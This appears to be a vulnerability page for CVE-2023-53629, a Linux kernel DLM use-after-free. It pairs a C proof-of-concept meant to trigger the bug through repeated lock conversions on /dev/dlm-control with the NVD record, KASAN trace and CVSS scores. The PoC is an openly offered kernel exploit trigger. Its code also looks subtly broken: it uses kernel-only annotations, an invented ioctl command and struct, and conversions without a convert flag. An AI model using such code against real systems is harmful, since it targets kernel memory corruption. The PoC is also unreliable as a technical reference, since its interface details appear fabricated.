CVE-2023-53629

// CVE-2023-53629 PoC - DLM midcomms Use-After-Free Trigger // This PoC demonstrates how to trigger the use-after-free vulnerability // in dlm_midcomms_commit_mhandle by rapidly performing lock conversions // while the DLM processes messages in softirq context. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <errno.h> #include <pthread.h> #include <time.h> // DLM lock modes (from linux/dlm.h) #define LKM_NLMODE 0 #define LKM_CRMODE 1 #define LKM_CWMODE 2 #define LKM_PRMODE 3 #define LKM_PWMODE 4 #define LKM_EXMODE 5 // DLM commands #define DLM_LOCK 6 struct dlm_lock_params { __u32 mode; __u32 namelen; void __user *name; void __user *lksb; __u32 flags; void __user *ast; void __user *astparam; void __user *bast; void __user *castparam; __u32 lkid; __u32 lvbptr; void __user *lvb; void __user *xid; __u32 lvb_len; __u32 timeout; }; // Trigger use-after-free by rapid lock conversions int trigger_uaf(int fd, const char *resource_name) { struct dlm_lock_params params; char lksb[32]; int ret; memset(&params, 0, sizeof(params)); memset(lksb, 0, sizeof(lksb)); params.mode = LKM_PRMODE; params.namelen = strlen(resource_name); params.name = (void *)resource_name; params.lksb = lksb; // Step 1: Acquire initial PR lock ret = ioctl(fd, DLM_LOCK, &params); if (ret < 0) { perror("[-] Initial lock acquisition failed"); return -1; } printf("[+] Initial PR lock acquired, lkid=%d\n", params.lkid); // Step 2: Rapidly convert lock mode to trigger UAF // The vulnerability occurs when mhandle is freed but still // accessed in softirq context during commit_mhandle for (int i = 0; i < 1000; i++) { params.mode = LKM_CWMODE; // Convert PR -> CW ret = ioctl(fd, DLM_LOCK, &params); if (ret < 0) break; params.mode = LKM_PRMODE; // Convert CW -> PR ret = ioctl(fd, DLM_LOCK, &params); if (ret < 0) break; // Small delay to allow softirq processing usleep(1); } printf("[+] Lock conversion loop completed\n"); return 0; } int main(int argc, char *argv[]) { int fd; const char *device = "/dev/dlm-control"; const char *resource = "test_resource"; printf("[*] CVE-2023-53629 PoC - DLM midcomms UAF\n"); printf("[*] Linux Kernel DLM Use-After-Free Trigger\n\n"); // Open DLM control device fd = open(device, O_RDWR); if (fd < 0) { perror("[-] Failed to open DLM device"); printf("[*] Note: DLM must be configured and running\n"); printf("[*] Load dlm kernel module and join a cluster first\n"); return 1; } printf("[+] DLM device opened successfully\n"); // Trigger the use-after-free trigger_uaf(fd, resource); close(fd); printf("[*] PoC execution completed\n"); return 0; }

{"cve": {"id": "CVE-2023-53629", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:45.933", "lastModified": "2026-02-03T22:27:26.107", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nfs: dlm: fix use after free in midcomms commit\n\nWhile working on processing dlm message in softirq context I experienced\nthe following KASAN use-after-free warning:\n\n[ 151.760477] ==================================================================\n[ 151.761803] BUG: KASAN: use-after-free in dlm_midcomms_commit_mhandle+0x19d/0x4b0\n[ 151.763414] Read of size 4 at addr ffff88811a980c60 by task lock_torture/1347\n\n[ 151.765284] CPU: 7 PID: 1347 Comm: lock_torture Not tainted 6.1.0-rc4+ #2828\n[ 151.766778] Hardware name: Red Hat KVM/RHEL-AV, BIOS 1.16.0-3.module+el8.7.0+16134+e5908aa2 04/01/2014\n[ 151.768726] Call Trace:\n[ 151.769277] <TASK>\n[ 151.769748] dump_stack_lvl+0x5b/0x86\n[ 151.770556] print_report+0x180/0x4c8\n[ 151.771378] ? kasan_complete_mode_report_info+0x7c/0x1e0\n[ 151.772241] ? dlm_midcomms_commit_mhandle+0x19d/0x4b0\n[ 151.773069] kasan_report+0x93/0x1a0\n[ 151.773668] ? dlm_midcomms_commit_mhandle+0x19d/0x4b0\n[ 151.774514] __asan_load4+0x7e/0xa0\n[ 151.775089] dlm_midcomms_commit_mhandle+0x19d/0x4b0\n[ 151.775890] ? create_message.isra.29.constprop.64+0x57/0xc0\n[ 151.776770] send_common+0x19f/0x1b0\n[ 151.777342] ? remove_from_waiters+0x60/0x60\n[ 151.778017] ? lock_downgrade+0x410/0x410\n[ 151.778648] ? __this_cpu_preempt_check+0x13/0x20\n[ 151.779421] ? rcu_lockdep_current_cpu_online+0x88/0xc0\n[ 151.780292] _convert_lock+0x46/0x150\n[ 151.780893] convert_lock+0x7b/0xc0\n[ 151.781459] dlm_lock+0x3ac/0x580\n[ 151.781993] ? 0xffffffffc0540000\n[ 151.782522] ? torture_stop+0x120/0x120 [dlm_locktorture]\n[ 151.783379] ? dlm_scan_rsbs+0xa70/0xa70\n[ 151.784003] ? preempt_count_sub+0xd6/0x130\n[ 151.784661] ? is_module_address+0x47/0x70\n[ 151.785309] ? torture_stop+0x120/0x120 [dlm_locktorture]\n[ 151.786166] ? 0xffffffffc0540000\n[ 151.786693] ? lockdep_init_map_type+0xc3/0x360\n[ 151.787414] ? 0xffffffffc0540000\n[ 151.787947] torture_dlm_lock_sync.isra.3+0xe9/0x150 [dlm_locktorture]\n[ 151.789004] ? torture_stop+0x120/0x120 [dlm_locktorture]\n[ 151.789858] ? 0xffffffffc0540000\n[ 151.790392] ? lock_torture_cleanup+0x20/0x20 [dlm_locktorture]\n[ 151.791347] ? delay_tsc+0x94/0xc0\n[ 151.791898] torture_ex_iter+0xc3/0xea [dlm_locktorture]\n[ 151.792735] ? torture_start+0x30/0x30 [dlm_locktorture]\n[ 151.793606] lock_torture+0x177/0x270 [dlm_locktorture]\n[ 151.794448] ? torture_dlm_lock_sync.isra.3+0x150/0x150 [dlm_locktorture]\n[ 151.795539] ? lock_torture_stats+0x80/0x80 [dlm_locktorture]\n[ 151.796476] ? do_raw_spin_lock+0x11e/0x1e0\n[ 151.797152] ? mark_held_locks+0x34/0xb0\n[ 151.797784] ? _raw_spin_unlock_irqrestore+0x30/0x70\n[ 151.798581] ? __kthread_parkme+0x79/0x110\n[ 151.799246] ? trace_preempt_on+0x2a/0xf0\n[ 151.799902] ? __kthread_parkme+0x79/0x110\n[ 151.800579] ? preempt_count_sub+0xd6/0x130\n[ 151.801271] ? __kasan_check_read+0x11/0x20\n[ 151.801963] ? __kthread_parkme+0xec/0x110\n[ 151.802630] ? lock_torture_stats+0x80/0x80 [dlm_locktorture]\n[ 151.803569] kthread+0x192/0x1d0\n[ 151.804104] ? kthread_complete_and_exit+0x30/0x30\n[ 151.804881] ret_from_fork+0x1f/0x30\n[ 151.805480] </TASK>\n\n[ 151.806111] Allocated by task 1347:\n[ 151.806681] kasan_save_stack+0x26/0x50\n[ 151.807308] kasan_set_track+0x25/0x30\n[ 151.807920] kasan_save_alloc_info+0x1e/0x30\n[ 151.808609] __kasan_slab_alloc+0x63/0x80\n[ 151.809263] kmem_cache_alloc+0x1ad/0x830\n[ 151.809916] dlm_allocate_mhandle+0x17/0x20\n[ 151.810590] dlm_midcomms_get_mhandle+0x96/0x260\n[ 151.811344] _create_message+0x95/0x180\n[ 151.811994] create_message.isra.29.constprop.64+0x57/0xc0\n[ 151.812880] send_common+0x129/0x1b0\n[ 151.813467] _convert_lock+0x46/0x150\n[ 151.814074] convert_lock+0x7b/0xc0\n[ 151.814648] dlm_lock+0x3ac/0x580\n[ 151.815199] torture_dlm_lock_sync.isra.3+0xe9/0x150 [dlm_locktorture]\n[ 151.816258] torture_ex_iter+0xc3/0xea [dlm_locktorture]\n[ 151.817129] lock_t\n---truncated---"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "nega ... (truncated)